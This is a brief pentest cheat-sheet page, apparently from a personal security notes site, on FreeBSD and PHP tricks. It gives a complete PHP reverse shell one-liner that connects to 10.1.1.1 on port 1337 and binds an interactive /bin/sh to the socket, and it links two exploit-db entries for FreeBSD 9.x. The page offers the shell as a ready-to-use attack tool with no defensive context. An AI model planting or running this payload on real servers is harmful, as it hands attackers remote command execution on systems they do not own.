> For the complete documentation index, see [llms.txt](https://security.musana.net/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://security.musana.net/freebsd-and-some-php-tricks.md).

# FreeBsd and Some PHP tricks

Php reverse shell (restricted case or freebsd system)

```
<?php $sock = fsockopen("10.1.1.1",1337); $proc = proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); ?>
```

### Freebsd 9.x Exploit

[Exploit1](https://www.exploit-db.com/exploits/26368) and [Exploit2](https://www.exploit-db.com/exploits/28718)&#x20;
